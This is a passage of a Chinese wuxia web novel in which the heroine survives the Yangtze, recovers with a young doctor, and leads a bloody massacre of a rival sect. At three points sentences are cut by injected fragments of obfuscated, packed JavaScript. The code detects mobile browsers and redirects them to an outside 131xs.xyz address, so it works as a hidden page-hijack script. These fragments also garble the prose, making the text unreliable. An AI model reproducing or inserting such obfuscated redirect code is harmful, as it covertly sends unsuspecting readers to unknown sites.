随着一声闷响,我在距离那块石头两米的地方坠入了江水。 浑浊的冷水一瞬间就卷着我疯狂地冲向下游。 我随着混乱窜动的水流在水底沉沉浮浮。快速的水流卷得我头晕目眩,我根本无法使出力量挣扎,只能随波逐流。 很快,意识就逐渐模糊…… 44. 人之生,何知易 我不知道自己在长江里漂流了多久,等我醒来的时候我发现了两件事: 一、我仍然飘在水里,不过水流的速度已经明显缓了下来,周围是一片茫茫汪洋。 二、此时我正趴在一片门板上面,这一幕让人直接想到泰坦尼克号了有木有。这门是哪里来的我不知道,也不知道自己是怎么爬上去的。半死不活的时候,有个白影把我从水底拖上来,那厮是什么啊,美人鱼、迷之宇宙生物?我觉得正解应当如此——那影子八成是我自己的幻觉。 三、我TM又凶悍得变小了。 好像多了一件事…… 不好意思了诸位,我现在脑袋不是很清楚…… 在水里泡的太久,我觉得几天几夜是有了,我已经饿过劲了完全无饥饿感,现在只觉得身体沉重累得要死。身边茫茫无际全是水,所以也不觉得渴,只觉得冷。身体已经麻木了,四肢都像是已经脱离了身体,完全无法控制。只有十根手指头像是长在门板上了似的,死死扣住木头。 可见我求生意志之坚定,生命力之顽强。 其实,之前我在长江里飘着的时候有碰到过船只。我记得当时我在水里,一条大船从我的旁边慢悠悠划过去,船舷上站着几个人,其中一个小女孩指着我,突然喊道,“麻麻,那个人身上插着一支箭!” 旁边的女人立即拽着小孩往船舱里推,边推边说,“别看!快走!” 我看着船渐渐离我远去,心里愤愤想,我要是死了,尸变成僵尸也不放过你们!身上插着箭的人……你们伤不起…… 我在万恶的长江里又漂了一天一夜,我最终是没沉尸长江变成水鬼,看来,长江里的龙王爷是不敢收我。 机缘巧合之下,我得救了。 不过,并不是有驾着五彩祥云的救世主从天而降来接我,是我趴的那块门板被一根浮木撞了一下,改变了方向。于是门板偏离了干流,飘向了一个岔口,那岔口是长江一条小支流,我漂得越远,那支流的河道就越窄,然后,门板就靠岸了。 靠岸的时候是大晚上。 月光如银,铺陈了一天一地。 碎裂的星辰飘荡在墨黑色的溪水中,随着水波而一沉一浮。周围只有虫吟的声音,忽起忽喑。 我连滚带爬手脚并用爬到河滩上,仰面躺在碎石滩上,吃力抬起右手,抹开额头上沾着的潮湿头发。左肩上的箭伤有点怪异的痛感,估计是泡的太久已经烂掉了。 我就这么躺着,身体很冷,脑袋很烫,八成是发烧了。脑袋昏昏沉沉,思维又好像很清楚似的。 然后,我在这荒郊野外的寂静中兀自笑起来。 我没有想沈墨白,没有想十四,没有想镜花宫和玉宇琼楼,也没有想冷将息。 我即没有得救之后的狂喜,也没有被人抛弃了似的怨愤。 我只是看着漫天仿佛散落了的粉末一般的星辰,一瞬间,觉得自己渺小得真可怜。真的好可怜。可怜的又有点可笑,于是就笑了。 活着,真他妈的累。 我躺了大概有一刻钟之后,恢复了点体力,便吃力得坐起来,搓揉自己酸麻僵硬的小腿。还好现在是夏季,如果是冬天,我早就冻死在长江里了。眼前是一片深山老林,我凭着超人的感官,隐隐听到远处有犬吠的声音。 有狗就该有人吧? 有人就有救了吧? 应该是这样没错。 于是,我站起来,向着犬吠的方向走去…… 走了两步之后,腿一软,跌倒在碎石滩上。面无表情站起来,继续走。两步之后,再次跌倒,这次是在灌木丛里。我揉了揉摔疼的膝盖,迷茫了一下,原来,身体真的会不听使唤啊。以前别人这么对我说,我总觉得那是为自己的懒惰找借口,看来是我误会了。我再一次站起来。小心翼翼走了三步之后,又柔弱得跌倒。 有人说,不要总在同一个地方摔倒。 我擦,换个地方继续跌个不停更郁闷好不好! 于是,我也不跟自己过不去了,我不再试图站起来,而是手脚并用往前爬。 爬爬爬,留下一串奇怪的足迹,爬进了树林深处…… ··· 后来我才知道,我竟然一直从金陵城顺流而下一直漂到了镇江,而这里,是镇江北固山的后峰。这座山北临长江,枕于水上,峭壁如削。原本应该是建“甘露寺”的地方,现在建了个叫做“云顶山庄”的武林门派。 我在丛林里爬行了一夜,第二天早上才终于爬到了那个有犬吠的地方。 我上岸时身处在山脚下,循着狗叫一直爬到了山顶上。而,若是我当时再顺流往下二百米,我就能看到小村落。 我擦,听力太好了也坑爹啊! 那是谁家的狗!嗓门那么大!坑死你爹我了! 我爬了一天一夜之后,爬的蓬头垢面,衣衫褴褛,面目全非。 我“啪啪啪”敲开门,门房大爷开了门,他一只手拿着旱烟,一只手扶着门框,低头一动不动盯着我,盯了许久都没有动静,仿佛是掉线了似的…… 我于是咳了一声,干巴巴开了口,“大爷,能不能赏口饭吃……” 结果,那门房大爷中了邪似的尖叫一声,扭头撒丫子就跑,边跑还边喊,“黄大仙成精啦!救命!!” 我趴在门口,一只手伸向他的方向,半张着嘴巴无语凝噎。 半晌之后我握拳,狠狠磨牙,“操你大爷……你才是黄鼠狼,你全家都是黄鼠狼……” 这时候,我背后伸出一双手,一只穿过我的腋下,一只穿过我的膝盖。 他一捞,我就觉得自己腾空了。 我回头,看到一个十四五岁的少年。他的脸就近在咫尺。 目光对上的一刹那,我就被他的相貌吸引了,尤其是那一双丹凤眼配上斜飞如鬓的剑眉,精致得让人觉得挪不开眼,真算得上是个妖孽。 但是他的神态却是与年龄和相貌有些不符的内敛。这样的五官配上这样的表情,就仿佛是玉石外打了层蜡,光华瞬间就被遮掩了,变成了一块平凡无奇的石头。 这人,让人觉得有一股奇怪的违和感。 “你……” “嘘。”少年轻声对我做了个口型。 他抱着我悄悄绕过正门,趁着没有人注意,从一堵院墙上跃过去。 嗯,小子轻功还不错。 然后,他把我护在怀里,东躲西藏偷偷摸摸进了一个小院。 他把门从里面拴上,我确定周围安全,于是问,“这是哪?” “我住的地方。”他说着,抱着我径直穿越小院正中的天井。 经过天井的时候,我看到葡萄架下面放着一张藤椅,藤椅上坐着一个女人。 夏季的葡萄藤茂盛非凡,阳光透过翠绿色的叶子,在那个女人身上、脸上落下斑斑的光痕。那女人扬着下巴,一动不动看着天。 我们从她身边经过的时候,她都没有半点反应。 她的表情僵硬而有些扭曲,眼睛瞪得大大的,眼角微湿,仿佛是一只濒死的鹿。 “她是谁?”我好奇地问了一句。 少年沉默了一瞬间,才回答,“我母亲。” 我没说话,心里隐隐明白是怎么一回事。 那个女人——她疯了。 少年把我抱进了一间卧房。 那房间简单得不能再简单,只有最简单毫无坠饰的床、桌子和一把椅子,整个房间唯一的装饰,是那挂在墙壁上的一把陈旧的剑。房间背阴,窗外那茂密的夏季植物像是长疯了似的,阳光被植物遮得差不多了,房间几乎投不进一丝阳光。 因此,身边弥漫着一种潮湿而温润的味道。陈腐却又清新,并不让人讨厌。 少年把我轻轻放到床上,“你是逃难的?跟家人走散了?” 我知道他大概是想帮我找到家人,于是我避重就轻,回答,“我自己一个人从金陵一路顺着长江漂过来的。” 少年脸上闪过一丝古怪的表情,只说了三个字,“不可能。” 我无语。 这家伙真不浪漫,自己认为不可能的事情就一口否认,该说是固执呢还是死板呢? 孩子这么大点儿就一点浪漫情怀都没有,有没有童年啊! 我松了耸肩,“既然你不信,就当我是发烧烧得神志不清吧。” 少年看着我,没有继续问。 他忽然把视线从我的脸上移到肩上,猛的伸出一只手捏住我受伤的肩膀。他按揉伤口的动作很特殊,那个麻木了许久的地方顿时一阵抽痛。 我肌肉猛然抽紧,但是脸上表情一点没变。 “疼?”少年抬起眼皮看了我一眼,神色依旧清冷,眼神里有勉强可以找到一丝关切。 我深呼吸了一下,哼笑了一声,“废话。你叫什么?” 少年低头,慢慢挑开我套在身上那件不合身的衣服,露出我因为浸泡而变得苍白的肩头。 “何知易。” “怪名字。”我笑。 低头看向自己的肩膀,先看到一截露出的箭尾,箭整个都是金属的,被水泡的太久似乎锈蚀了。然后看到自己的皮肤,铁锈和皮肉搅合在一起,皮肉已经失去了原有的颜色,溃烂成一片。 这样子实在不讨人喜欢。 “把衣服脱了,你伤口必须马上处理,说不定左臂会废了。”何知易说着,身体一矮,头一低,整个人爬到了床底下去。 我听着他一通翻找的声音,想也没想就说,“没事,我当年手筋脚筋被挑断了,现在还不是照样活蹦乱跳的。” 何知易把头从床底下探出来,眉头一皱,又只说了三个字“不可能。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349880|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我翻白眼,“我骗你干嘛?一年前,手脚都被废了,”我说着,抬起脚丫,晃了晃,让他看到皮肤上仍未褪下去的粉色伤痕,“后来每天拿水洗洗,就自然好了。” 何知易是个怪胎,他没有怀疑我说话的真实性,也没有把这件事归咎于我钢筋铁骨般的体质,却问,“什么水?” “呃?”说起来我倒是一直没注意这个问题,“就是普通的水啊,不过,每次似乎沈墨白都会拿一根笛子在那水里搅和一通…… ” “笛子?” “嗯……沈家堡的祖传之物。” 何知易用看白痴的眼神看了我一眼。 随后,他又低头继续忙手里的事,一边用平静而没什么起伏的声音说,“我听说,那支笛子是寒玉制成,能解天下百毒。无论中了何种剧毒,只要把它含在口中,一个时辰之后,剧毒都被吸到玉上,透明玉就会变成黝黑,然后只须用人乳浸上一个时辰,它又把毒气吐出,人乳变黑,玉则恢复透明……没想到,原来那寒玉笛还能治伤。” 我顿时一阵无话可说。 原来还有这么一出。一件被埋藏了很久的事情被这么给挖出来,我却只有气闷胸闷的感觉。 “那我的左手真的会废掉?” “也不一定,你恢复力的确很超常。” “这你都看得出来?” “你发着烧,在水里泡了好多天,还能一直从山脚走到这里。这些就足以说明你非常人了。” 我突然觉得其实何知易很毒舌。 而且还是毒舌的最高境界——浑然天成,朴实无华!让人反驳都不知道怎么反驳。 何知易忽然呼了口气,从我身边站起来。 “我这里的药不够好,你稍微等一下,我去拿药。”他说着,就要走向门边,忽然又想起来什么似的折回来。我看到他走到隔壁的暖阁里,又是一阵翻腾,回来的时候手上多了一叠衣物。 “我小时候穿的,你凑合先穿一下。”他把衣服递给我。 我点点头,然后对他露出一个微笑,“你人真不错,以后我一定会报答你,那把寒玉笛你喜不喜欢?我改天送给你。” 何知易看了我好一会儿,突然,一言不发扭头走了。 ···· 俗话说塞翁失马焉知非福。 我拐了个大弯拐到了这个什么云顶山庄,竟然还拐对了。因为这云顶山庄的何氏,是个医药世家,代代都会出一批当世最富盛名的名医。何知易这小子,年纪不大,医术却还不错。而且他那个清净的性子也好对付。我不愿说,他便不问。仿佛对什么也不好奇,只管看着我继续活下去,继续帮我治疗肩上的伤,他似乎就别无所求了。 看上去冷得像个石头似的人,其实,也许是个连蚂蚁都不忍心踩的好人。 这山庄里来来往往无数人,却从未有人会注意到他们住的这间小院儿。我心里觉得奇怪,直到有一天我才知道,原来,何知易和他母亲,在这个云顶山庄里算是个尴尬的存在,所以众人都对他们避之不及。 当年,何家的大小姐,何薄烟,才华横溢,仍旧在闺阁中时,便治愈了无数当时无药可医的病例。年纪轻轻,便声名鹊起,江湖中无人不知那“妙手薄烟”,可以说是当时最为出众的名医。 何家也一直把她当成个聚宝盆一般,养着供着,只等着一到年纪就把她送进诸如那“琼楼玉宇”的地方去,给自家找个大靠山。 然而,这位何家的大小姐,却与一个名不见经传的江湖浪客不期而遇,一见倾心。 这一倾心,便投入了那滚滚红尘中,此世不得超生。 那剑客无名,无家,何薄烟为了他也抛弃一切,他们有的,仅仅是彼此,彼此,便是整个世界。剑客带着何家的大小姐私奔出逃,在数年中浪迹江湖泛舟五湖。虽然日子清苦,却是幸福。几年后,便生下了何知易。 只可惜,何知易刚诞下不久,那剑客为了保护他们母子,而死在了仇敌的剑下。 不久之后,何薄烟带着何知易回到云顶山庄。何家中暴怒,令其放弃幼子,前去“玉宇琼楼”。 何薄烟说是同意了。只是,在启程的前一夜,她给自己配了一副药。 不知名的药。喝下之后,便成了现在这幅模样。 何家将其视为家丑,于是锁其于深院,这一锁就是十多年。 某天夜里,满园星辰蝉鸣,我和何知易坐在天井里乘凉,他把这个故事告诉了我。 我听完,看着坐在葡萄架下面的女人,只是笑着问了一个问题,“她的那副药,是不是叫做‘醉生梦死’?” 何知易在黑暗中看着我,眼睛里落了星光,有一抹清冷的亮。 “能够一直活在过去的梦境中,也许她现在很幸福。” 何知易点了点头,眼底第一次浮现了笑意。 45. 娶妻当娶何知易 我在北固山上休息了几日之后,便缠着何知易带我下山到镇江城中去逛逛。 镇江距离中原武林的中心金陵不远,再加上它又是个军事重镇,因此此处盘桓了不少武林人士,也有不少大大小小的武林门派。虽然此处并没设置镜花宫分教,但是在镇江的各个江湖门派中,我们早就安插了不少暗桩(卧底)。 何知易背上背着个大箩筐,里头装着满满的都是自己配置的药方和一些他在山中采的草药,准备把这些东西拿到药铺去换些银两。何知易虽然不招家里人待见,但他要研习医药家中人也不明着反对。家中其他孩子学习药理的时候,他就蹲在一边偷师,平日里没人理他,他就一个人把整座藏书楼里头的书给翻了个遍。何知易八成是遗传了他老妈,很有这方面的天赋,人不大,造诣却颇深,而且由于不是科班出身,这孩子很有创新精神,经常自己琢磨出新方子来。把这些方子再卖给山下的药店换银子,几年下来存出来了个小金库。 我跟何知易下了山,到了镇江城里。他一个半大的少年,手里拎着个年幼的小妹子,背上背了个大箩筐,怎么看,怎么苦逼。 我现在穿着何知易的男式旧衣服,头发编了年代不符的麻花辫垂在胸前,看上去各种农村打工人口进城,各种幼年版女知青,各种混乱穿越。我乖乖陪着何知易去了药铺,趁他跟老板一板一眼讨价还价的时候,在药店的门外头用石头尖儿在墙上做了个“囧”字形的记号。 不,不要误会,我不是在乱涂乱画破坏公物。实不相瞒,这华丽的“囧”字,乃是镜花宫的甲级机密暗号! 何知易过了很久才从店里出来,看似无表情的脸上隐藏着一丝丝心满意足。 看样子,是他那个一根筋的个性最终磨赢了老奸巨猾的奸商小老板。对付舌灿莲花的最好办法,果然就是坚若磐石一语不发。以不变应万变,以面瘫整垮笑里藏刀。 我看他走出来,于是从台阶上跳起来,跑过去一把扯住何知易的袖子,无所不用其极得卖萌,“知易哥哥,知易哥哥~” 我一边甩何知易的胳膊,一边娇滴滴嚎叫。 何知易丝毫不为所动,反而后退了一步,特别警惕看了我一眼,“干嘛?” 我囧。囧完之后继续卖萌。 我对手指戳啊戳,脚尖在地上踢啊踢,眼睛毛那个扇啊扇,“人家想去对面那家茶馆……” 何知易抬起下巴,眯起眼睛看着那座屋瓦锃亮,在阳光下面反射着光线的茶楼。他沉默了一瞬间,陡然问,“你是想去喝茶还是想去探听消息?” 我当即眼神就变犀利了。 他怎么知道我是想去打探消息?茶楼向来都是一座城最八卦的地方,八卦程度与公共澡堂不相上下。消息贩子的情报虽然多而准,但是价格也颇为不菲。所以,若是想不花钱得听八卦,茶楼绝对是最好的去处。 这小子也太可怕了吧?洞察力犀利至此?!警觉性竟然如此强,连我这个小毛孩子都提防着? 我瞪着何知易,何知易却没看我,他微微皱着眉头,表情有一点苦恼。 “如果你口渴,我们就进去喝茶,可是要花钱。如果你只是想听消息,我们就蹲窗户下面听,省钱。” 我愣了半天,然后呼吸突然就急促了。 小何!你人妻了啊有木有! 这种居家过日子型的家伙,绝对应该娶回家去当老婆的啊! 此时,我默默在心中打定主意:等我把外头乱七八糟的事情搞定了,我要驾着祥云来迎娶他…… 于是,我跟何知易绕道茶楼的侧面,挑了个大窗口,偷偷摸摸在窗台下面坐好。我们坐下了,何知易便取下背后的篓子抱在胸前,在篓子里翻腾起来了。不一会儿,就从篓子里掏出来一个折起来的小手绢。 他一丝不苟一层层把手绢打开来,里面竟然包着一小把蜜饯李子。 他把掌心向我摊开,“吃吧。” 我抬头看着他的脸,一时间都愣在原地呆呆看着他,忘记去拿。 “你、你什么时候买的?” “刚才在药铺里。”何知易淡淡说,“你不是嫌药苦么?” 我忽然想起来,原来是前两天有一次我无意抱怨了一句药熬得太难喝,结果何知易竟然就记住了。 一瞬间,老娘我感动得七荤八素的。仿佛听到了有背景音乐在唱:《让世界充满爱》。 所谓的患难见真情。 我突然觉得平日里自己根本就是瞎着的。 当你有一座金山银山的时候,当所有人都把你捧在手心里的时候,你怎么可能会看得见一颗小小的蜜饯? 我捏了一颗李子放在嘴里,一边的腮帮吃得鼓出来一小块。 “何知易,等我变大了,你娶我怎么样?” 我笑嘻嘻说,完全忘记了在一些年前,我好像对另外一个人说过类似的话。 但是何知易却摇头,摇得很认真。 “为什么?!”老娘自尊心很受伤。 “照顾我娘就已经够累了,我不想再添一个麻烦。”何知易说的非常干脆非常简单,也非常中肯,以至于我这平日里伶牙俐齿的家伙,在这时候无话反驳了。 他得坦诚让我无地自容去编瞎话。 他说的没错,我就是个彻头彻尾的大麻烦。 我嚼着嘴里的李子,忽然听到头顶飘出来的声音里,有人在讨论我想要打探的话题。 “你说,那消息到底是不是真的啊?” “什么消息啊?” “当然是白,”说话的人似乎是忌惮什么,话到嘴边转了个弯儿,“就是那个镜花宫的教主,传言说她已经死了的事啊!现在这事儿在江湖上传得沸沸扬扬呢,你是不是混江湖的啊,连着都不知道!” 我听到这里,转头看何知易,“白玉蛟死了的事你知道么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349881|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何知易点头。 我憋闷,我看他整日两耳不闻窗外事,还以为这小子对江湖消息根本一窍不通呢,早知道就先从他嘴里撬情报了!害我这两天一直牵肠挂肚的! “这消息可难断真伪!”旁边有别的人插了嘴,“我一包打听哥们儿说,那白玉蛟死于金陵的消息是玉宇琼楼里头放出来的,说是被乱箭射死掉进了长江里,他们在下游打捞了许久也不见尸首。而后,那玉宇琼楼就在四处煽动武林门派去第二次围攻剑门关。可是呢,金陵可不就是那武林盟的眼皮底下么?武林盟却说对此事毫不知情。这么大的事,武林盟怎么可能不被惊动?这不是让人怀疑么?!保不准是不是那玉宇琼楼又趁着白妖女闭关,想煽动武林同袍们去帮他们除了这颗眼中钉!” 那人语落,顿时旁边有不少声音附和。 “是啊,上一次不就是玉宇琼楼挑动下,各个武林门派集结了去讨伐镜花宫。可那个结果啊,真是太惨烈了……” “这次各大门派可都多了心眼了,提防着,别再被玉宇琼楼当替死鬼往虎口里推。” “是啊,围剿的事儿似乎就只有青城派那头有响动,其他门派都作壁上观。” “我看这回是打不起来。” “没错没错,长江水患才刚过,咱们这些小门派自顾尚且不暇,哪有余力陪那些大门派去玩命。” “是啊是啊……” 我舔了舔指尖上残留的蜜汁,稍微放了心。 感觉上,玉宇琼楼很像故事里喊着“狼来了狼来了”的孩子。这世道,人心都经不起欺骗。吃过一次亏,大家都会像警觉的刺猬似的竖起全身的毛防备着旁人。而且这次那个缺心眼的沈墨白也帮我挡了玉宇琼楼一道。 想到这里,我冷笑了一声。 沈墨白,你以为你心慈手软放我一马,我就会礼尚往来对你们也以礼相待么? 别傻了。 自古成王败寇,我就是那“农夫与蛇”里头的蛇,等我缓过劲儿来,我绝对要一口咬死你,让你为你当初的所作所为,为你自己的天真幼稚而彻彻底底的后悔。 那个喊着狼来了的孩子,最后结局是什么来着? 不记得了。时隔太多年,记忆模糊。 但是这次,我这匹大灰狼绝对要把玉宇琼楼啃得连个骨头渣子都不剩下。 “你饿了吗?”忽然,在旁边一直默不作声的何知易说话了。 我一扭头,发现他正在以奇怪的表情望着我。 “呃?” “你在磨牙……” “哦,我不饿,我只是在想一件事情……”我拍拍屁股从墙根站起来,笑道,“听说北边的夷人爱喝牛羊奶。” 何知易点头,“据说可以强身健体。” 我眉头一簇,露出一个狡黠的坏笑,“你说……第一个喝牛奶的人,他究竟是想对牛做什么啊……” 何知易:“……” 46. 仇杀江湖之风云再起 关于白玉蛟已死的消息,没几天就被辟谣了,应该说是不攻自破。 因为,八月十五那一日,中秋佳节桂子飘香之时,白玉蛟带了新晋的暗卫二十人,直捣了玉宇琼楼的总部——巫峡十二峰。 那一日,玉宇琼楼的十二峰阁主皆齐聚在神女峰上,与玉宇琼楼那位神秘的执掌者共享佳肴美酒,以助赏月之兴。他们皆向主子进献千秋镜以及承露盘,以表祝福。 这一夜的玉宇琼楼,结饰台榭,丝篁鼎沸。千里澄江之上,遥闻笙竽之声,宛若云外。 白玉蛟出现在聚鹤峰上的时候,聚鹤阁里头的人全数齐聚在阁前的院落中,赏月饮酒。阁内上阶弟子十人,中阶弟子十七人,下阶弟子六人,全数在此,无一漏网。 ···· 八月初十,秋海棠开了满院。初十那天,顾染织到了云顶山庄亲自来接我。 顾染织是半夜来的,我记得那天的月色极其皎洁,山顶离那轮月亮极其的近,银色的月光落在院子中央那棵秋海棠上,仿佛从天际奔流而下的流水,海棠花瓣在那月光流水中飘零飞舞,飞旋而逝。 我折了一枝海棠,笑着问站在我背后的清俊男人,“顾染织,你知道这是什么花吗?” “秋海棠。”他回答的不加思索。 我笑了,回头,眼带暧昧,“其实它还有别名,叫做断肠花。《采兰杂志》有云:‘昔有妇人,怀人不见,恒洒泪于北墙之下,后洒处生草,其花甚媚,色如妇面。其叶正绿反红,秋开,名曰断肠花。’” 顾染织看着我手中的花枝,也浅浅笑了,“那你又何必折它?它不适合你。即便你心有所怀之人,你也不会在墙角下哭着等他回来。” 我撇了撇嘴,玩味得看了一眼手里的秋海棠,然后把它塞给了顾染织,“既然如此,那你收着吧。” 八月初十,我跟顾染织离开了云顶山庄。 八月初十到八月十五的那五日之间,我就蹲在玉宇琼楼旁边的巫山县,悄无声息又心平气和得酝酿了一场惨无人道的屠杀。 兵法云:凡先处战地而待敌者逸,后处战地而趋战者劳。故善战者,致人而不致于人。 具体而白话得解释:之前,玉宇琼楼四处鼓动武林门派去攻打镜花宫,折腾了一个多月,却徒劳无功,而镜花宫那边又一直没有反应,于是玉宇琼楼就放松了警惕,正是疲乏之时。而我镜花宫神教,一直忍气吞声,养精蓄锐,忍它很久了,如今忍无可忍何须再忍?现在,我们要果断黑化,杀他个措手不及。 八月十五日,月明星稀,千里澄江似练,翠峰如簇。 十四给我挑的那二十个新暗卫,各个都是最顶尖的高手。看得出,其中有几人是年纪并不大的新人,大概是第一次跟我出任务,跟在我屁股后头尤其兴奋,跟打了鸡血似的,杀气外露。 我挑了玉宇琼楼远离神女峰的聚鹤峰下手。 适逢八月十五佳节,难免都放松了警惕。我让两个暗卫悄无声息杀掉周围站岗守夜的人,其余人迅速把整个聚鹤阁包围起来,一个活物也不要放出去。 整个过程滴水不漏,顺利至极。 然后,我,镜花宫教主,白玉蛟,亲自登台。 我大模大样从聚鹤阁的正门走进去,一身墨色纱衣,头上是黑色鹤羽高冠,手里抄着一把我传说中的神器——茅草叉。 我进门的时候,有个侍女端着果盘站在一边愣愣看着我,似乎觉得我面生又古怪,但看我走得这么大模大样也不敢拦我。 我还特别友善对她点了下头,“中秋快乐啊,妹子。” 我就这么一路从大门口,路经一个又一个八仙桌,一直走到了聚鹤阁主楼的台阶下。 我每经过一个桌子,整个场院就安静一分,等我在台阶下站定,缓缓回过身来的时候,整个场面,鸦雀无声,静得让人觉得毛骨悚然。 所有人都定定看着我,他们有的坐着有的站着,有的手里还端着酒杯,有的手已经按在了剑柄上。 “HI,各位琼楼玉宇的兄弟们,”我站在台阶上,面带微笑,和蔼可亲地对他们晃了晃手指,“为了防止你们死不瞑目,我先自我介绍一下。鄙人是镜花宫的白玉蛟,我今天来此处,是来取你们性命的。” 我语落,门口方向传来了一声惨叫。 原来是有一个人想跑出去通风报信,结果被等在门口的暗卫大哥抓了个正着。 那个暗卫号码我还没记住,不过他身高至少两米三,块头大得像个坦克,胳膊有我俩大腿那么粗。 我看到他的时候整个人都呆了,心想十四连这种怪胎都找得到啊,我真开始对他刮目相看了,只可惜他已经不在了…… 通风报信的人被他一只手捏脑袋,一点点从地面上被抬起来,最后整个人离地。整个过程中他都在痛苦的尖叫,双手双脚小猫似的扑腾,不过我家暗卫对其微弱的挣扎置若罔闻。然后,我看到那个被捏着的人,眼角、口鼻开始疯狂向外飚血,与此同时,他的尖叫开始变调,变成拐着调子的嘶嚎,那声音刺的脑仁一阵阵发酸。 最后,只听一声很像西瓜爆裂的“咔嚓”声极其突兀响起。 紧接着,世界安静了。 那家伙脑壳被我家暗卫给华丽丽的捏碎了,白色、红色的血水血浆,向四周大片溅开。 我家暗卫把那个已经不能称之为人,而应该称之为死人的东西往旁边一扔,淡定得搓了搓手。 在场的人似乎都被这一幕给吓到了。 不过吓人的还在后头呢。 我可是教主啊,风头怎么能被手下给抢了? 我冷笑了一声,猛的一扬手,紧接着便是一连串重物倒地的声音以及,漫天飞溅的嫣红温热液体。血溅了有半楼高,高高喷起,洋洋洒洒落下,雨一般的稀里哗啦落了一阵。 站在距离我最近的七个人,同时身首异处。大概连自己是怎么死的都没看清楚。 女人尖叫的声音骤然打破了寂静。 人群顿时发生了崩溃一般的骚动,不知道是谁喊了一句“冲出去!”玉宇琼楼的人顿时都拔了剑,四面八方向各处逃窜。说是四面八方,其实可以说是同一个地方——远离我的地方。 我在嘴角勾起一个没有温度的邪笑,慢慢舞了一下手里的茅草叉,挂着碎肉的铁叉在空中画了一个圈,最后,那锈蚀斑斑的叉子尖,指向了被包围在院子里的琼楼玉宇教众。 我扬声,混含着内力的声音不重,不轻响起,落在在场每一个人的耳朵里,无比清晰。 “孩子们,这些人随便你们玩了,一个活的也别留下。” 我看着眼前杀戮的景象,神色如常。 色不动,心也不动。 每当杀戮之时,我从不犹豫。 我知道自己无辜的人杀了很多,我也不会记得自己到底杀过谁。 在我踏进这里的一瞬间,这里的所有人都已经是死人了。 我就是抱着这样的信念:砍的,不过是肉块罢了。 聚鹤峰上四十口性命,在中秋之夜成为白玉蛟剑下亡魂,聚鹤阁一夜之间被付之一炬,唯余一地焦炭飞灰。唯独聚鹤阁的阁主和手下几个心腹因为在神女峰而幸免于难。白玉蛟血洗了聚鹤一峰之后,便迅速撤离,闪电般的迅速,让琼楼玉宇活着的人连她们的人影都没见到。 这玉宇琼楼血案,可谓是继白玉蛟出道犯下的那四大家族屠杀案之后,又一桩震惊武林,撼动了天下的滔天大案。消息一出,整个江湖都震惊了,震惊之后便是铺天盖地一般的惶恐。其影响丝毫不逊于十多年前的那场大屠杀。 据说,锦官城第一名嘴青衣客,对此事一反常态,竟然保持沉默。只留下了一句非常意味深长的评价:“真所谓是应了那句老话:君子报仇十年不晚。时隔了十年,该来的还是来了。” 这江湖上明眼的人,都看得出来——此时形势一目了然——一直小打小闹的琼楼玉宇和镜花宫,终于要你死我活般的掐起来了。 ··· 我时间有限,一秒钟不耽误,当夜烧了玉宇琼楼的老巢紧接着就转战距离巫峡十二峰最近的荆州,直扑荆州的玉宇琼楼据点而去。 我这是学希特勒的闪电战打法,当年老希凭着这招横扫了整个欧洲大陆。 一般而言,任是谁被一棍子闷下去,总要晕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349882|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段时间,就是它晕的这点时间,就足够我闹腾了。 就在聚鹤峰被屠灭的消息刚刚被放出来的时候,我带着自己的快速机动部队,果断而迅速的捕杀第二目标——荆州玉宇琼楼据点。 计划当然也相当成功,只要有我在,哪有不成功的可能性。 当时正是子夜。 我裹着个黑色的大披风,帽兜一扣,COS哈利·波特。很淡定站在玉宇琼楼大门前扣门环。 开门的是门房大叔。 门房大叔被我扰了清梦很是不爽,骂骂咧咧来开门,“妈的,这么晚了!闹腾什么?!谁啊?!” 门“吱呀——”一声在我面前被打开。 我立即抬起一只手撑住门,不让他阖上,然后面带笑容问了一个问题,“我问你,一加一等于几?” 门房大叔睡得半梦不醒的,“二!我□□……” 他还没说完,就被我打断了。 “你知道的实在太多了。”我轻轻说。随即浅浅一笑,藏在背后的茅草叉,一叉子向前掷出去。 茅草叉一瞬间贯穿了他的肚子,带着他向后飞了三米,“咚”得一声钉在了离地一米的墙上。 门房大叔被钉在墙上,没死透,腹部通常不能瞬间致命,会拖上个十到二十分钟让你看自己肥肠乱流。 门房果然还挺有精神,扯开嗓子,带着哭腔喊起来,“救命……救命啊……” 他这一喊,院子里头的巡卫立即被惊动了。 紧接着“铛铛铛”的警铃大作,各个房间烛火依次亮起,没过几分钟,整个大院儿,不一会儿便灯火通明。 ——看来这些人是不能幸福得死在睡梦中了。 我站在大门口,我的暗卫大狼狗们站在墙头上。 本来我以为屠杀荆州应该比屠杀聚鹤峰要来得省力,但是后来我发现我错了,这里冒出来了个麻烦的家伙——薛紫。 我看到在一片火光中和两个暗卫缠斗的薛紫,抱着手臂的手指不自觉有点烦躁的打起了拍子。 